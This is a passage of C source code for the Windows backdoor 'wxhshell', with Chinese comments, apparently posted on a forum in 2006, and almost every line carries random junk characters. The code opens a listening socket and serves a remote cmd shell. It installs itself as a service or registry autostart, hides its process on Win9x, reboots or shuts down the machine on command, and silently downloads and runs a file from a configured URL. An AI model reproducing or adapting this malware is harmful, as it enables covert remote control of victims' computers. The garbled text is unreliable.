  {+{p.  
  // 帮助 Q 9f5}  
  case '?': { "8U=0a  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); BKE?o^03  
    break; ^k^?>h  
  } ~h=iZ/g_^_  
  // 安装 DC BN89#  
  case 'i': { ;GOu'34j  
    if(Install()) [C;Neslo  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); XUUP#<,s  
    else BjTgZ98J  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); cmCD}Skk  
    break; SG0PQ  
    } t7V7TL!5'  
  // 卸载 (64es)B}"  
  case 'r': { kv?DE4=;  
    if(Uninstall()) a{JO8<dlm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); RDy&i  
    else ;9ChBA  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >YF=6zq.`  
    break; 8uW%jG3/  
    } W*(- * \1[  
  // 显示 wxhshell 所在路径 }o[<1+W(.  
  case 'p': { q j9q   
    char svExeFile[MAX_PATH]; 61gyx6v  
    strcpy(svExeFile,"\n\r"); DYgB_Iak  
      strcat(svExeFile,ExeFile); uT<<G)v)  
        send(wsh,svExeFile,strlen(svExeFile),0); iG~&uEAJ  
    break; OqF8KJnO;  
    } nr}Ols  
  // 重启 YvP62c \  
  case 'b': { Hmx.BBz  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); I=P<RG7j)  
    if(Boot(REBOOT)) &u6n5-!v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =i;T?*@  
    else { OpIeo+^X*  
    closesocket(wsh); /P]N40_@  
    ExitThread(0); CM[83>  
    } 4"!kCUB  
    break; !V/7q'&t=  
    } vo&h6'i>7  
  // 关机 s6_i>  
  case 'd': { z> DQ  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); iAXGf V  
    if(Boot(SHUTDOWN)) lHTr7uF(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); oZl%0Uy?9I  
    else { 15aPoxo>  
    closesocket(wsh); 7kT X  
    ExitThread(0); tuuwoiQ*`  
    } Hfo<EB2Y9N  
    break; `f~$h?}3-@  
    } Lz:FR*  
  // 获取shell %4YSuZg  
  case 's': { EQ :>]O  
    CmdShell(wsh); -Xw S?*O  
    closesocket(wsh); %,ScGQE  
    ExitThread(0); E m+&I  
    break; Rxlv:  
  } V U5</si+  
  // 退出 zx.SRs$  
  case 'x': { "sY}@Q7  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); b+hN\/*]  
    CloseIt(wsh); @qx$b~%  
    break; DvOvtd  
    } ,]]IJ;:w  
  // 离开 HPt\ BK  
  case 'q': { d'3"A"9R7-  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Ss\?SEq  
    closesocket(wsh); &k-NDh3  
    WSACleanup(); hH%fWB2(  
    exit(1); p1 HbD`ST  
    break; F8Mf,jnPs  
        } #qD[dC$[t  
  } FS!)KxC/-  
  } gm!sLZ!X  
8.I3%u  
  // 提示信息 3=} P l,  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }Ujgd2(U  
} ('\sUZ+5  
  } |R!ozlL{}  
k9:|CEP  
  return; #)[.Xz:U  
} y*US^HJOZ  
, `EOJ"|  
// shell模块句柄 aD_7^8>  
int CmdShell(SOCKET sock) a1%}Ee  
{ 7^LCP*  
STARTUPINFO si; _p'@.P  
ZeroMemory(&si,sizeof(si)); NPM2qL9&J  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ,\aL v  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; eQn[  
PROCESS_INFORMATION ProcessInfo; ?cKTeGrS  
char cmdline[]="cmd"; Y"yrc0'&T  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); bw7gL\*  
  return 0; WXDo`_{R  
} -o!bO9vC  
LEOa=(mN\  
// 自身启动模式 l+hOD{F4pS  
int StartFromService(void) Em5,Zr_  
{ u%I%4 gM  
typedef struct Ry xu#]s  
{ ;'08-Et  
  DWORD ExitStatus; khD)x0'b  
  DWORD PebBaseAddress; g#7Q-n3^  
  DWORD AffinityMask; }&2,!;"">3  
  DWORD BasePriority; >gM"*Laa?  
  ULONG UniqueProcessId; `8Ych@f]  
  ULONG InheritedFromUniqueProcessId; uwZ,l-6T  
}   PROCESS_BASIC_INFORMATION; <o*b6 m%  
6-J}ZfGj  
PROCNTQSIP NtQueryInformationProcess; HJ0;BD.]  
6%>'n?  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 6?C';1  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; *vEj\  
tns8B  
  HANDLE             hProcess; V |}9bNF  
  PROCESS_BASIC_INFORMATION pbi; iSW<7pNq0  
^yq}>_  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); U?5lqq  
  if(NULL == hInst ) return 0; bX(/2_l  
o76!7  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); kN8B,  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); hN]l $Ct  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 5;^1Ab0  
{&B_b|g*fW  
  if (!NtQueryInformationProcess) return 0; )|k#cT{=M  
UwF-*(#41  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); .QwB7+V4  
  if(!hProcess) return 0; w%\{4T~  
DG0I- "s  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; !cM<&3/  
"19#{yX4  
  CloseHandle(hProcess); uozq^sy  
7DoU7I\u  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); d,Oagx  
if(hProcess==NULL) return 0; \@N~{72:k  
g7*Uuh#  
HMODULE hMod; A*81}P_  
char procName[255]; @o^$/AE?  
unsigned long cbNeeded; n]D io  
'd&d"E[  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); yg* #~,  
W83PMiN"T-  
  CloseHandle(hProcess); z/f._Z(  
Ak kF6d+  
if(strstr(procName,"services")) return 1; // 以服务启动 q5z^y(Sv  
4\*:Lc,-  
  return 0; // 注册表启动 w\eC{,00:  
} /4c`[  
4Y2I'~'  
// 主模块 ^H1m8=  
int StartWxhshell(LPSTR lpCmdLine) -o`K/f}d  
{ QJrXn6`  
  SOCKET wsl; b7~Jl+m  
BOOL val=TRUE; Iz. h  
  int port=0; cg17e  
  struct sockaddr_in door; d^!k{Qx'  
I}0 ?d  
  if(wscfg.ws_autoins) Install(); ?E|=eO"I1  
!X~NL+  
port=atoi(lpCmdLine); 7iwck.*  
dh [kx  
if(port<=0) port=wscfg.ws_port; l5&5VC)  
fR'!p: ~  
  WSADATA data; bn8maYUZ  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; |)Dm.)/0)  
!t"/w6X1I  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   {#,5C H')  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); t&=bW<6  
  door.sin_family = AF_INET; :( m, 06K  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ]y=U"g  
  door.sin_port = htons(port); ?Fn y_{&^H  
ort*Ux)  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { FA)ot)]  
closesocket(wsl); a3\~AO H%  
return 1; ,IqE<i!U  
} ly0L)L]\  
&oB*gGRw=7  
  if(listen(wsl,2) == INVALID_SOCKET) { xR&:]M[Vg  
closesocket(wsl); 26nwUNak  
return 1; N0kCdJv  
} )j~{P  
  Wxhshell(wsl); K{/i2^4  
  WSACleanup(); t,8?Tf+i  
"#7Q}d!x  
return 0; f77W{T4  
L/-SWid)  
} ol/@)k^s>  
)V[j~uOU)]  
// 以NT服务方式启动 )$9w Kk\F  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) .d^8?vo  
{ 7qOkv1.}0  
DWORD   status = 0; _B erHoQd  
  DWORD   specificError = 0xfffffff; V*Fy@  
5YNAb/! !F  
  serviceStatus.dwServiceType     = SERVICE_WIN32; "N=$ =Dy >  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ]wEI *c(  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; C=q&S6/+  
  serviceStatus.dwWin32ExitCode     = 0; h'=)dFw7  
  serviceStatus.dwServiceSpecificExitCode = 0; { >izfG,\  
  serviceStatus.dwCheckPoint       = 0; \i//Aq  
  serviceStatus.dwWaitHint       = 0; 8w:mL^6x  
__QnzEF  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 0[%{YmI{W  
  if (hServiceStatusHandle==0) return; Cy6!?Mik  
w`f66*@Q1  
status = GetLastError(); mHju$d  
  if (status!=NO_ERROR) Is3Y>oX  
{ cyB+(jLHDs  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; XIbxi  
    serviceStatus.dwCheckPoint       = 0; #TR!x,Hc  
    serviceStatus.dwWaitHint       = 0; *K$a;2WjzG  
    serviceStatus.dwWin32ExitCode     = status; E=,5%>C0#%  
    serviceStatus.dwServiceSpecificExitCode = specificError; .`+~mQ Wn  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Sq_.RU  
    return; TsoxS/MI"  
  } c|9g=DjK  
a]V8F&)g#  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; <@ ts[p.  
  serviceStatus.dwCheckPoint       = 0; l:e C+[_;>  
  serviceStatus.dwWaitHint       = 0; ~zac.:a8  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); i*mU<:t  
} _[-MyUs  
),B/NZ/-  
// 处理NT服务事件,比如:启动、停止 hOZTD0  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Ezew@*(  
{ 2 SD Z  
switch(fdwControl) w/( T  
{ (n?f016*%d  
case SERVICE_CONTROL_STOP: _zM?"16I}  
  serviceStatus.dwWin32ExitCode = 0; KNQj U-A  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Y_ne?/sZE  
  serviceStatus.dwCheckPoint   = 0; t!/~_}eDJ  
  serviceStatus.dwWaitHint     = 0; kjV>\e  
  { VgYy7\?p  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); fDB. r$|d  
  } uIO,9> ee  
  return; [j@i^B &  
case SERVICE_CONTROL_PAUSE: Wc+(xk  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; :KX*j$5U  
  break; &(, &mE  
case SERVICE_CONTROL_CONTINUE: lg$aRqI29  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; qtZzJ>Y  
  break; iz/CC V L  
case SERVICE_CONTROL_INTERROGATE: |&Mo Qxw@  
  break; TK' 5NM+4  
}; (VN'1a (  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); oz{X"jfu  
} Ar/P%$Zfq  
LsIZeL^  
// 标准应用程序主函数 !BkE-9v?w  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Ce<z[?u  
{ oowofi(E  
{%>~ ]9E  
// 获取操作系统版本 gE@Pb  
OsIsNt=GetOsVer(); dS 4/spNq  
GetModuleFileName(NULL,ExeFile,MAX_PATH); FN!?o:|(  
*lLCH,  
  // 从命令行安装 URm<Ji  
  if(strpbrk(lpCmdLine,"iI")) Install(); ?_AX;z  
8i73iTg(  
  // 下载执行文件 Z9 ws{8@_  
if(wscfg.ws_downexe) { w)vpo/?  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) v mkiw1  
  WinExec(wscfg.ws_filenam,SW_HIDE); 'G % ]/'_U  
} $=E4pb4Y  
mMZ{W+"[f  
if(!OsIsNt) { W9c&"T9JT  
// 如果时win9x,隐藏进程并且设置为注册表启动 8h|}Q_  
HideProc(); [T7&)p  
StartWxhshell(lpCmdLine); x<!]#**;  
} wj}LVyV  
else 2@Nd02v|  
  if(StartFromService()) Wll0mtv  
  // 以服务方式启动 ^vG<Ma.yk  
  StartServiceCtrlDispatcher(DispatchTable); C7m/<  
else v ,h"u  
  // 普通方式启动 JP\jhkn  
  StartWxhshell(lpCmdLine); =d5;F`m  
>T [Y>]  
return 0; `fEzE\\!*  
}
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只看该作者 1 发表于: 2006-10-10
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